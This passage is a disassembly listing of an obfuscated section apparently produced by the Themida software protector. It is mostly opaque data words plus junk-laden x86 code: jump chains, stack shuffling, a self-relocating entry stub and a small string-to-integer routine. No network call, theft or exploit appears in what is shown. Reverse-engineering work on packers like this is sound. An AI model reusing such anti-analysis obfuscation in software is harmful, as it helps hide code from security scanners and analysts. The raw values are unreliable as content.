17042444h, 46000000h dd 0E3D6C356h, 0B70FEFF8h, 0D28047D2h, 0FFA2E9A7h, 0B589FFFFh dd 60330E5h, 0AE85Fh, 0C5FA0000h, 42AF8BC0h, 0F0C4726Eh dd 0B959589h, 0F85B0603h, 4CE1BD89h, 95090603h, 6030075h dd 2FB18D8Dh, 0FFF50603h, 30779B5h, 48A0F06h, 52000000h dd 8D5A5B57h, 5A75885h, 0BD8D5006h, 6035391h, 6E9C8D8Dh dd 0BCB80603h, 2B54831Ah, 0D00730CFh, 754947C8h, 47B58DF8h dd 8D06036Eh, 36EB48Dh, 0F3CF2B06h, 0B8C933A4h, 0 dd 4674C00Bh, 1DF9BD83h, 74000603h, 0F995FF06h, 8B06031Ch dd 34CE1B5h, 58858D06h, 0FF0605A7h, 3E858DD0h, 0FF060341h dd 5585C7D0h, 106030Eh, 8B000000h, 32125A5h, 31B58B06h dd 8B060329h, 32969ADh, 0C2C03306h, 6A000Ch, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0EE524DC3h dd 64BA9230h, 0AE9BEA81h, 0BD83397Ah, 6030589h, 52840F00h dd 0F000000h, 68Dh, 3DBD0100h, 0FF060314h, 3191595h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 7B45196Ah, 0EBA16578h, 0D2B70F90h, 14E9h, 0F5B6EB00h dd 1D195246h, 98FE002Ch, 3CC6669Dh, 0A9E3FD79h, 0C1BD8384h dd 6030Ch, 21B850Fh, 958B0000h, 6032A0Dh, 0FE9h, 49AD3C00h dd 3527C051h, 0FA94E743h, 60BFC8EEh, 1D89BD83h, 0F010603h dd 1F485h, 95896000h, 6030F95h, 68F0Fh, 880F0000h, 0 dd 0CDBD8361h, 60314h, 1D3840Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 6D2F33C3h dd 76EC99B1h, 0B5317449h, 6032EB9h, 4D34BD83h, 0F000603h dd 19C84h, 958D0100h, 8D06031Dh, 5A75885h, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 2EEC9182h, 0B58BD55Ch, 6034CE1h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 84C35747h, 1ACB1E7Ch, 0AEBD3541h dd 6ECBA32h, 3CB60FCDh, 0C6F8D0FFh, 31BA185h, 66575406h dd 0E85BD68Bh, 4, 0FF4EBEF4h, 50585660h, 0F5B5252h, 5A616031h dd 0E8506158h, 9, 8875EB84h, 2A361775h, 52505388h, 585A310Fh dd 448B5A5Bh, 0EE80424h, 5B000000h, 0DF8355A0h, 1EF40E79h dd 44A5CAF3h, 14E8E3h, 86D20000h, 0DF3B7A58h, 92AEDDA1h dd 0EE7599D8h, 645A7F51h, 77B3E1F2h, 8B5A5Ah, 0A8C0Fh dd 880F0000h, 4, 2254BA66h, 4244489h, 0E858DE8Bh, 11h dd 396BD6A5h, 25243BE9h, 0BA9A350Ch, 4D72215Ch, 2D958B8Ah dd 5B060331h, 2E1B5FFh, 6A0603h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 6EA6BCC3h, 1A42630Eh dd 858D7FB2h, 60338E0h, 2D419D8Bh, 0D0FF0603h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 9EC35040h, 958BEA59h dd 603291Dh, 8B66006Ah, 66FF6ADFh, 6616DCBAh, 0F38CEA81h dd 0FFF9D0FFh, 306E5B5h, 0FE906h, 18200000h, 5DC465EDh dd 7AD2AB82h, 0ADF433CDh, 7995FFF1h, 89060307h, 31D959Dh dd 0E1B58B06h, 0E806034Ch, 0Fh, 0AC5BC517h, 0A6EBFFD1h dd 83BF21D3h, 600A6609h, 1B419D89h, 950B0603h, 6032909h dd 0BAC35A61h, 0D17F03h, 23EDB58Bh, 0C6800603h, 0FF60B37h dd 1084h, 8E0F6000h, 3, 61C68B66h, 0B70006C6h, 0E98589EAh dd 8906034Ch, 306B1BDh, 0F88306h, 364840Fh, 81660000h dd 0B89522E2h, 0 dd 12E8h, 21D88A00h, 4D21D116h, 0F76C3237h, 0A7DEDD11h dd 52879F20h, 4EE28166h, 835A5BD2h, 840F00F8h, 0BFh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 30C35040h, 89FC75F7h dd 3224595h, 0A99D8B06h, 83060316h, 850F02F8h, 75h, 0B886BB60h dd 8D8B4C85h, 6031C4Dh, 64858D61h, 29060343h, 31A75B5h dd 9292D06h, 81660000h, 905EF7DBh, 5820Fh, 2DBB0000h, 5037EFD1h dd 0EB8FBA66h, 68D0F90h, 8B000000h, 30DFD9Dh, 6AC306h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 39E81CC3h, 1BAF9AB8h, 29F92AE1h, 31B499Dh, 89D18A06h dd 30B3585h, 0B806h, 9D890000h, 60300A1h, 162D958Bh, 73E90603h dd 0B8000002h, 1, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 0ADC35646h, 69BD8D06h, 89060343h, 318E99Dh, 0C8E906h dd 958B0000h, 60302F1h, 0F02F883h, 5585h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 0CB756473h, 8DA1B72Bh, 34561BDh, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 4254A8B9h dd 4A08AD55h, 57CB8166h, 64E991h, 0F8830000h, 3E850F03h dd 8B000000h, 32F519Dh, 0F5BD8D06h, 6A060346h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 8FBAC351h, 8C0FED77h, 3, 0E9D18B66h, 22h, 0F7EF2DBBh dd 5F88337h, 14850Fh, 8B660000h, 0C7E9DEh, 870F0000h, 6 dd 0BF58D89h, 0F570603h, 982h, 3850F00h, 0F000000h, 1BB9D9B7h dd 66749C62h, 6BCBDA81h, 0F003F83h, 9884h, 0ED958B00h dd 2B060315h, 3215D95h, 660F3006h, 582AF381h, 0CE9h, 6CC05000h dd 7365929Dh, 3098685h, 6AC9D182h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 547EC356h dd 371B55C8h, 68F0FC0h, 8B000000h, 32F1995h, 6A4706h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 18E7B7C3h, 0E6F4160Ah, 58E0F3Dh, 0BB000000h, 7D89E543h dd 0FFFF6FE9h, 0BE9FFh, 6CC60000h, 0BF6FC62Bh, 0F725B1C1h dd 5F88350h, 0B4850Fh, 0BA660000h, 8C660F2Fh, 870F60D9h dd 2, 0AE96160h, 0A6000000h, 0DAD97C35h, 0BA6C47ADh, 0C1F661BEh dd 55850F04h, 31000000h, 309259Dh, 0B806h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 0FE2BC4C3h, 5CE991h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 0F9F9CC3h, 384h, 0D2BF0F00h dd 1FB9858Bh, 95310603h, 60315A5h, 6AE0FFh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 9D2965C3h dd 60326A9h, 30F18589h, 0BD830603h, 6030779h, 0C4850F00h dd 81000000h, 0B42178D2h, 0C5B29042h, 0FE850h, 68DB0000h dd 4A64323Fh, 0FC3D5552h, 3B5ADF0h, 3905B8Eh, 3251995h dd 0A185C606h, 4506031Bh, 3941BA66h, 8EAA0268h, 0C0BA66BEh dd 2434818Ah, 30FCC36Bh, 8BD98B66h, 32A399Dh, 0E1B5FF06h dd 89060302h, 3146185h, 0A6E28106h, 8D65AA9Bh, 338E085h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 67755817h, 7E9D0FFh, 0AC000000h, 27D7E63Eh dd 8C0FD1A2h, 2, 8589D68Bh, 6030779h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 0D5C35545h, 1061BFEh, 58F54DB3h dd 83D2B70Fh, 34D38BDh, 840F0006h, 6Bh, 0E5B5FFF5h, 0F060306h dd 88Bh, 85895700h, 6030571h, 12E85Bh, 8DA60000h, 0FFB9F68Eh dd 0F1FBA6C3h, 3D0AF920h, 0E49373CBh, 378DCA81h, 0FF5B75B3h dd 3077995h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 37780D23h, 6E877h, 2D490000h, 0AD0342C2h dd 6BA0F381h, 835A38A1h, 850F00F8h, 0CDh, 83DF8B66h, 30BCDBDh dd 840F0006h, 90h, 6810Fh, 0BD890000h, 603166Dh, 0BCDB5FFh dd 6A0603h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 4DD18AC3h, 9E9h, 7405F000h, 0A2655B5Ch, 1B8DA97h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 5A19C350h, 0A76B043Eh, 0AE8h dd 72B95300h, 465D2035h, 29EB740Ah, 30421B5h, 0B5095B06h dd 6030741h, 223E9h, 0E9D1BA00h, 958B0A87h, 6030C15h, 6E5B5FFh dd 85890603h, 6032085h, 6E5B5FFh, 0BD890603h, 6031D95h dd 779B5FFh, 0BB660603h, 0F1E98969h, 89000001h, 308D195h dd 81665F06h, 0FE5E2F2h, 686h, 45958B00h, 83060318h, 318A1BDh dd 850F0006h, 139h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 9BC35747h, 0AF8FE2DCh, 0B16C3446h, 2EB99D89h dd 840F0603h, 0 dd 1BA185C6h, 0F4D0603h, 288h, 0E822B300h, 4, 0A43576A8h dd 5050B6B3h, 0BE852h, 7B360000h, 1DA9EA33h, 0A5C5E17Ch dd 5A6160F5h, 8B53310Fh, 585A5AD0h, 424448Bh, 0F18B6660h dd 61D68B66h, 12E9008Bh, 0CC000000h, 5F86976h, 9701278Ch dd 0C5704633h, 0C0A7BE8Eh, 2444891Dh, 0CE86004h, 6000000h dd 0FF808A05h, 44681A80h, 66B38904h, 5E9824BAh, 0CB55250h dd 585A310Fh, 8B665861h, 418509D8h, 0FF06032Eh, 33121B5h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 0C224027Ah, 18DDD3h, 0B70F122Ah, 0E0858DDBh dd 6A060338h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 56C356h, 2C53E2F8h, 0FFEAE780h dd 50006AD0h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 0A1858952h, 8B060318h, 0B8DAh, 9D890000h dd 6032149h, 4CE1BD89h, 95010603h, 60303D9h, 840FC00Bh dd 30h, 0BDE666BBh, 6AE929h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 24B688C3h dd 9D0B0936h, 6032211h, 779B5FFh, 8D0F0603h, 1, 58858DF9h dd 660605A7h, 9CF7D381h, 0EE990h, 5BBF0000h, 0FDF6EABEh dd 0DDD60FCAh, 0C92CB43Dh, 0F525050h, 280h, 0FF58A00h dd 0E4C0BB31h, 585A23F0h, 0D98B6690h, 0BD8D5650h, 6035391h dd 799C8D8Dh, 0BCB80603h, 2B748323h, 0D00730CFh, 754947C8h dd 83585EF8h, 30BCDBDh, 6740006h, 1B918D8Bh, 0C9330603h dd 0B8h, 0FC00B00h, 9984h, 0F9BD8300h, 6031Dh, 95FF0674h dd 6031CF9h, 0B8h, 75C00B00h, 0E9BD8309h, 106034Ch, 0BD830974h dd 6034CE9h, 8B0E7502h, 34CE1B5h, 58858D06h, 0FF0605A7h dd 3E858DD0h, 0FF060341h, 69BD83D0h, 2060326h, 0A58B2F75h dd 6032125h, 0BCD858Bh, 4890603h, 5585C724h, 106030Eh dd 8B000000h, 34CE5B5h, 69AD8B06h, 0B8060329h, 1, 0EB000CC2h dd 5585C700h, 106030Eh, 8B000000h, 32125A5h, 31B58B06h dd 8B060329h, 32969ADh, 0C2C03306h, 0BD83000Ch, 6030589h dd 830F7400h, 31915BDh, 6740006h, 191595FFh, 0B58B0603h dd 6034CE1h, 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 0CF176445h, 776B3423h, 0CA816679h dd 0BD897F73h, 60325D1h, 0EB56EB81h, 2BF91966h, 53006AD2h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 368B392Dh, 0DA816686h db 0F2h, 34h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_4F2B76 ; --------------------------------------------------------------------------- loc_4F2B74: ; CODE XREF: Themida_:004F2B79j inc eax inc edi loc_4F2B76: ; CODE XREF: Themida_:004F2B72j cmp byte ptr [edi], 0 jnz short loc_4F2B74 xor ecx, ecx mov edi, [ebp+8] jmp short loc_4F2BA5 ; --------------------------------------------------------------------------- loc_4F2B82: ; CODE XREF: Themida_:004F2BA7j xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_4F2B9A ; --------------------------------------------------------------------------- loc_4F2B97: ; CODE XREF: Themida_:004F2B9Dj mul ebx dec esi loc_4F2B9A: ; CODE XREF: Themida_:004F2B95j cmp esi, 0 ja short loc_4F2B97 pop ebx add ecx, eax pop eax inc edi dec eax loc_4F2BA5: ; CODE XREF: Themida_:004F2B80j or eax, eax jnz short loc_4F2B82 mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- db 81h dd 0C4A5BDEAh, 0E7816077h, 7ACBFD87h, 459BE1BFh, 0C18B6165h dd 2228AE9h, 55B4D000h, 0 dd 54003F00h, 55AFDE02h, 55B4D000h, 54002800h, 12FF6802h dd 24600h, 200h, 100h, 400h, 4BB08D00h, 0FAh, 4 dup(0) dd 4FE71000h, 4FBBAD00h, 4F8A5300h, 4FB68B00h, 4F5F6000h dd 4F8F0600h, 4F42C900h, 4F9F7400h, 4FB25200h, 4FCFDD00h dd 4F8A0300h, 4F3D6700h, 4F30AD00h, 4FCAC400h, 4F506F00h dd 4F7D6400h, 4F74D000h, 4F89BF00h, 4FD3AA00h, 4F52DD00h dd 4F8BA700h, 4FDFF400h, 4F790100h, 4FD7C900h, 4F993100h dd 4F937E00h, 4F317D00h, 4F8B8B00h, 4F3E1000h, 4F9C2B00h dd 4F768900h, 4FE79500h, 4F64E400h, 4FAF6C00h, 4F766000h dd 4F389E00h, 4FD6F900h, 4FB0E400h, 4F9A5D00h, 4F6AE200h dd 4F817400h, 4F7D4500h, 4FCE0300h, 4F89A800h, 4F677D00h dd 4FCF3B00h, 4F8B5D00h, 4F994A00h, 4F4A7F00h, 4FB2DA00h dd 4F33A100h, 4FD9EC00h, 4FACAF00h, 4FE5B600h, 4F5C7900h dd 4F640500h, 4FD35100h, 4F607400h, 4FEDD600h, 4FE5BF00h dd 4F6C7700h, 4F72C200h, 4FBAC700h, 4F8DC100h, 4F4CC600h dd 4F5F4400h, 4FC20400h, 4FCFCA00h, 4FD82F00h, 4F345C00h dd 4FB08500h, 4FB1F500h, 4FD12C00h, 4FEA5200h, 4F341A00h dd 4F9AB300h, 4F8F6300h, 4F4B6000h, 4FA25E00h, 4F309200h dd 4F716800h, 4FE05B00h, 4F878E00h, 4F6B2D00h, 4FE97E00h dd 4F4A2A00h, 4FA5DE00h, 4F853B00h, 4FBD8400h, 4F3FFD00h dd 4F8B6600h, 4F5FB600h, 4F465700h, 4FAB4C00h, 4F385F00h dd 4F4F9F00h, 4F740300h, 4FC93C00h, 4F49AC00h, 4F686C00h dd 4F844800h, 4F5AEC00h, 4F588800h, 4F520600h, 4F903200h dd 4F707100h, 4F374F00h, 4FF14300h, 4F663700h, 4F3B7B00h dd 4F593500h, 4FAD5E00h, 4F92F500h, 4F4F7100h, 4F970900h dd 4FD35900h, 4FD10800h, 4FD44D00h, 4F5F1F00h, 4F6A8800h dd 4F321D00h, 4FA82700h, 4F76B700h, 4F689900h, 4F542100h dd 4F831100h, 4FD18900h, 4FB36900h, 4F77ED00h, 4F660200h dd 4F628A00h, 4F8BF900h, 4FE85300h, 4F3DCA00h, 4F5F1300h dd 4FE53F00h, 4F8D7300h, 4F967000h, 4F3FE300h, 4FE93500h dd 4FF39E00h, 4F838600h, 4F5C8000h, 4FD23C00h, 4FB78200h dd 4F6CBF00h, 4F828C00h, 4F7ECE00h, 4FA7C400h, 4FA6B100h dd 4FAA3A00h, 4FB24100h, 4F787500h, 4FE21600h, 4F62E100h dd 4F47FE00h, 4FEAC600h, 4F9C0500h, 4FBFE700h, 4F4E7000h dd 4F7A3500h, 4F4AEE00h, 4F4C4800h, 4F6B4300h, 4F88C400h dd 4FD58D00h, 4FF44B00h db 0 ; --------------------------------------------------------------------------- loc_4F2EAD: ; CODE XREF: Themida_:005415D2j ; Themida_:0054AD6Cj ... pusha pushf cld call $+5 pop edi sub edi, 6037E28h mov eax, edi add edi, 6037B40h cmp eax, [edi+2Ch] jnz short loc_4F2ECB jmp short loc_4F2EDE ; --------------------------------------------------------------------------- loc_4F2ECB: ; CODE XREF: Themida_:004F2EC7j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_4F2EDA ; --------------------------------------------------------------------------- loc_4F2ED5: ; CODE XREF: Themida_:004F2EDCj add [edi+ecx*4+40h], eax dec ecx loc_4F2EDA: ; CODE XREF: Themida_:004F2ED3j or ecx, ecx jnz short loc_4F2ED5 loc_4F2EDE: ; CODE XREF: Themida_:004F2EC9j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_4F2EEB: ; CODE XREF: Themida_:004F2EF2j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_4F2EEB loc_4F2EF4: ; CODE XREF: Themida_:loc_4F38C7j ; Themida_:004F4022j ... lodsb push ecx jmp loc_4F4EDC ; --------------------------------------------------------------------------- db 68h dd 709Bh, 0E9242489h, 91B2h ; --------------------------------------------------------------------------- loc_4F2F08: ; CODE XREF: Themida_:004FB066j add esp, 4 pop dword ptr [esp] pop esp mov [esp], ax mov al, 2Bh push edx mov dh, 0F0h shl dh, 6 shr dh, 7 push ax mov al, 69h jmp loc_4F8163 ; --------------------------------------------------------------------------- db 0F7h dd 0E959241Ch, 90E2h, 53242C89h, 255EE268h, 65ADE95Ah dd 89660000h, 29E9242Ch, 83000093h, 148702C2h, 24248B24h dd 2424D366h, 0FF9AE99Ch, 16BEFFFFh, 0B90C3508h, 69CF7A9Eh dd 4E7CE9h db 0 ; --------------------------------------------------------------------------- loc_4F2F69: ; CODE XREF: Themida_:004F57EAj mov [esp], eax mov eax, 573444F7h or eax, 16E80D72h sub eax, 57FC4DF6h jmp loc_4FCCB5 ; --------------------------------------------------------------------------- dd 55241489h, 5C62EE68h, 242C8B38h, 4C481h, 0BE560000h dd 5F070AC8h, 8104E6C1h, 1B3178C6h, 53D6F777h, 313CE9h dd 4BD5500h, 89000000h, 2434FFEBh, 83242C8Bh, 9AE904C4h dd 80000051h, 0FE8806F7h, 0D4E9505Bh, 58000097h, 7CA768h dd 240C8900h, 0E904EC83h, 0D41h, 0FB46AFBEh, 8503E95Dh dd 0E8C00000h, 30220402h, 7247E9C1h, 0F2810000h, 1DF2E1C6h dd 148BD389h, 4C48324h, 2D5BD821h, 5E5F6487h, 0C108E8C1h dd 712D03E0h, 35086376h, 0FD2DBEE3h, 8358C501h, 0FF5504C5h dd 5D042474h, 5C24048Fh, 66E168h, 241C8900h, 8904EC83h dd 0CEE92434h db 42h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F303B: ; CODE XREF: Themida_:004F98BEj push ebx mov ebx, 4 add eax, ebx pop ebx push eax jmp loc_4F32A8 ; --------------------------------------------------------------------------- dw 0A5E9h dd 80FFFFFEh, 0C80000F1h, 0E95B6659h, 0A904h, 501EE955h dd 0C2810000h, 4, 8904EC83h, 2682434h, 5E000000h, 1729EA81h dd 0F2014345h, 8F09E9h db 0 ; --------------------------------------------------------------------------- loc_4F3081: ; CODE XREF: Themida_:004F6B20j add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_4FD054 ; --------------------------------------------------------------------------- dw 8F64h dd 3650E902h, 0C6810000h, 551A753h, 895EF789h, 0D9315FFBh dd 75ACE9h, 0C8B6600h, 760C6824h, 0C890000h, 56595424h dd 4BEh, 33E98100h, 16C1536h, 33C181F1h, 5E6C1536h, 15FCE9h dd 2474FF00h, 48F5A04h, 24248B24h, 9C240400h, 0FFFE0BE9h db 0FFh ; --------------------------------------------------------------------------- loc_4F30E9: ; CODE XREF: Themida_:004F4E6Bj mov esp, [esp] jmp loc_4F38C7 ; --------------------------------------------------------------------------- db 5Fh, 1, 0E8h dd 0E9242C8Bh, 9F04h, 345568h, 24348900h, 0E9242C8Bh, 4299h dd 0E2D1C209h, 58BF68h, 9F47E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F311A: ; CODE XREF: Themida_:004FA822j mov [esp], edi mov edi, 608324E8h sub [esp+4], edi push dword ptr [esp] pop edi add esp, 4 mov eax, [esp] add esp, 4 add eax, 608324E8h push 53CCh mov [esp], ebp push edi push 1FCD01EFh jmp loc_4FB702 ; --------------------------------------------------------------------------- db 89h, 0EBh, 8Bh dd 0C483242Ch, 0E9DA0104h, 21D4h, 76F28159h, 8175EF5Ah dd 0AC2E1AF2h, 5AD00917h, 0E835705h, 58C60189h, 3D90E9h dd 2434FF00h, 8124048Bh, 4C4h, 4EC8100h, 89000000h, 0E789243Ch dd 98DAE9h, 0E7895700h, 4C781h, 51530000h, 0AAFBF57h, 0F98963D6h dd 6F54E95Fh, 0C7810000h, 2A977D18h, 3BE95259h, 8700008Ah dd 895C240Ch, 7DE9241Ch, 0FE0000ADh, 300904C0h, 1D8BE9C5h dd 148B0000h, 4C48324h, 348BF501h, 4C48324h, 685DE831h dd 77F8h, 72B3E9h, 0C9FE5A00h, 1731E9h db 0 ; --------------------------------------------------------------------------- loc_4F31F9: ; CODE XREF: Themida_:004F82D2j add esp, 4 push edi mov edi, esp jmp loc_4F719E ; --------------------------------------------------------------------------- loc_4F3204: ; CODE XREF: Themida_:004F4215j mov ecx, [esp] push ebp push 2CBCh mov [esp], esp add dword ptr [esp], 4 pop ebp jmp loc_4FE4AF ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 74FF241Ch, 1C8B0424h, 4EC8324h, 89241489h dd 4C281E2h, 0E9000000h, 17AEh, 0B8240489h, 38h, 6054E9h dd 241C8B00h, 1AD0E9h, 0A8B25200h, 80B7F280h, 0B353FDE2h dd 0E9DA00EFh, 8C0Fh, 242C875Fh, 5624248Bh, 120E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F3276: ; CODE XREF: Themida_:004F7C97j mov esi, 4 jmp loc_4F6EDC ; --------------------------------------------------------------------------- dd 0CCB60F66h, 115468h, 8287E900h, 2BE0000h, 81000000h dd 0F71FEDC1h, 0E9F10158h, 3B64h ; --------------------------------------------------------------------------- loc_4F32A0: ; CODE XREF: Themida_:004F6EDEj mov esi, [esp] jmp loc_4F6A4E ; --------------------------------------------------------------------------- loc_4F32A8: ; CODE XREF: Themida_:004F3045j push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_4F8F75 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 104C483h, 0EC835BDFh, 24148904h, 26851h, 51590000h dd 26240481h, 5A7FE96Ah, 6A26EA81h, 1597FE9h, 3C875AD7h dd 24248B24h, 9C2404D3h, 32CE9h, 51E78900h, 0E30536B9h dd 0D3E9817Fh, 814F2128h, 0D7138C9h, 7E1C15Ch, 3E5FE981h dd 0E955F2D0h, 47ECh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_4FBE93 ; --------------------------------------------------------------------------- dw 0FF54h dd 2C8B2434h, 0E0895024h, 405h, 4C08300h, 5C240487h, 0E95D5455h dd 8668h, 81243C8Bh, 4C4h, 31F83100h, 55F831C7h, 9275E950h dd 0DA2C0000h, 0F000E12Ch, 0DA04E104h, 83412C5Ah, 63E904ECh dd 660000B8h, 1F79E952h, 54570000h, 4C7815Fh, 52000000h dd 5E6E68h, 0B452E900h, 0B0500000h, 277CE9E2h, 0E3C00000h dd 0FEDBF604h, 4EB8E9C3h, 68550000h, 3D977BCCh, 7847E9h dd 5152AC00h, 0B353ECB1h, 8BCB8078h, 864BE9h, 0E0F68100h dd 8165812Ah, 4ECh, 59DCE900h, 0D680000h, 8900004Ah, 0E589242Ch dd 0B9BF5751h, 8167E63Fh, 0F6C430EFh, 8BF98955h, 0C481243Ch dd 4, 0E1D1D1F7h, 444EC981h, 0BF5717D3h, 200CB316h, 4DB3E981h dd 0F901763Eh, 4DB3C181h, 3EE9763Eh, 8100008Fh, 757F64C6h dd 0F7E6D175h, 0E6C146D6h, 5E70E906h, 0AD660000h, 83D83166h dd 1C8904ECh, 81E38924h, 4C3h, 0DDB85000h, 0F777C57Eh dd 0BDE940D0h, 800000B7h, 0F986DBE9h, 0F986D7F6h, 0B652E1D0h dd 5AF13003h, 0C8BCB28h, 4C48324h, 0E9C0B60Fh, 5C30h, 0F9B353ACh dd 80ADF380h, 0D8003EC3h, 83241C8Bh, 5FE904C4h, 3300002Bh dd 0C31240Ch, 240C3324h, 6624248Bh, 0E99CC83Bh, 0FFFFFA6Ch dd 5A2414F7h, 8102E2C1h, 0CC471BF2h, 0E9D08956h, 0B20Ch dd 0D387DAF7h, 48B0F381h, 0D829DE5Fh, 243C8B5Bh, 4EC81h dd 18E90000h, 58000066h, 578E9h db 0 ; --------------------------------------------------------------------------- loc_4F34BD: ; CODE XREF: Themida_:004FE9DAj mov edx, 14DF6869h jmp loc_4FF164 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 6BA5200h, 3122F296h, 24148BD0h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 4 mov [esp], eax mov eax, 4 add ebp, 7FD004B1h add ebp, eax sub ebp, 7FD004B1h jmp loc_4FD9D6 ; --------------------------------------------------------------------------- dd 8124048Fh, 42404h, 0E95E0000h, 0B6ABh, 81243C8Bh, 4C4h dd 4C78100h, 0E9000000h, 8B60h ; --------------------------------------------------------------------------- loc_4F3520: ; CODE XREF: Themida_:004FAB15j sub esp, 4 mov [esp], ecx mov ecx, 49797040h jmp loc_4FE496 ; --------------------------------------------------------------------------- loc_4F3533: ; CODE XREF: Themida_:004FF1ACj add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] push 15E3h mov [esp], edx push ecx mov ecx, 342F6D92h jmp loc_4FC733 ; --------------------------------------------------------------------------- db 81h, 0C1h, 64h dd 0E994D694h, 1A63h, 61BF575Eh, 81598301h, 0A3588DE7h dd 5FC7811Eh, 4F0FE073h, 5E15E9h, 0DF896600h, 81241C8Bh dd 4C4h, 0EF816600h, 0B2E93A6Bh db 75h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F358F: ; CODE XREF: Themida_:004FCD02j mov ecx, esi pop esi jmp loc_4F9C46 ; --------------------------------------------------------------------------- aVK_2SK db 'V_2+[K',0 align 2 dw 0C483h dd 8BD92104h, 8950241Ch, 0BB5352E0h, 40010C65h, 0EB81D3F7h dd 589697B2h, 815BDA89h, 727B79F2h, 73C28158h, 1C0E5DFh dd 0C0835AD0h, 24048704h, 0E9C15Ch, 840FC009h, 468Dh, 334868h dd 24348900h, 235368h, 241C8900h, 42A1E9h db 0 ; --------------------------------------------------------------------------- loc_4F35F5: ; CODE XREF: Themida_:004FB0F2j add [esp+4], esi pop esi pop ebp push esi mov esi, 4 add ebp, esi pop esi add ebp, 2 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] push eax jmp loc_4FB052 ; --------------------------------------------------------------------------- db 0E9h, 0D6h, 0F8h dd 875DFFFFh, 57E9241Ch, 8300007Ch, 48704C4h, 14895C24h dd 0E99C5024h, 0FFFFF8BCh, 0B8E78158h, 810B9C63h, 64FC35C7h dd 5FF9315Dh, 4BE9CB29h, 6600006Ah, 0E9240489h, 0FFFFF89Ch dd 0FFC0B60Fh, 0EC838734h, 24148904h, 3FCBAh, 73186800h dd 2C890000h, 462ABD24h, 0F581088Ch, 27451856h, 7AF5E9h dd 242C8900h, 1BDh, 0E9EE0100h, 85F2h, 0C281EA29h, 410E212Ch dd 0F856E95Dh, 0EF81FFFFh, 0C7F0A8Fh, 172FB850h, 0FA0D41C0h dd 252BAF1Eh, 1F5F1221h, 0DD3BB53h, 0F3815454h, 4210002Ch dd 0B911EB81h, 0D809DBD4h, 420B055Bh, 5482EC6h, 0E6CBA2C7h dd 8158C729h, 0ED613DEFh, 0E9FD21F4h, 0B505h ; --------------------------------------------------------------------------- loc_4F36E4: ; CODE XREF: Themida_:004F4960j mov eax, [esp] add esp, 4 mov eax, [esp] add esp, 4 push esi mov esi, 1043505Ah add eax, 20F30D77h add eax, esi sub eax, 20F30D77h push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], ecx sub esp, 4 mov [esp], esi push 0CC83E2Ah pop esi sub esi, 0DB83C156h mov ecx, esi pop esi sub ecx, 6C115623h xor ecx, 0E8A94B5Ah mov edx, ecx pop ecx jmp loc_4F7DC6 ; --------------------------------------------------------------------------- db 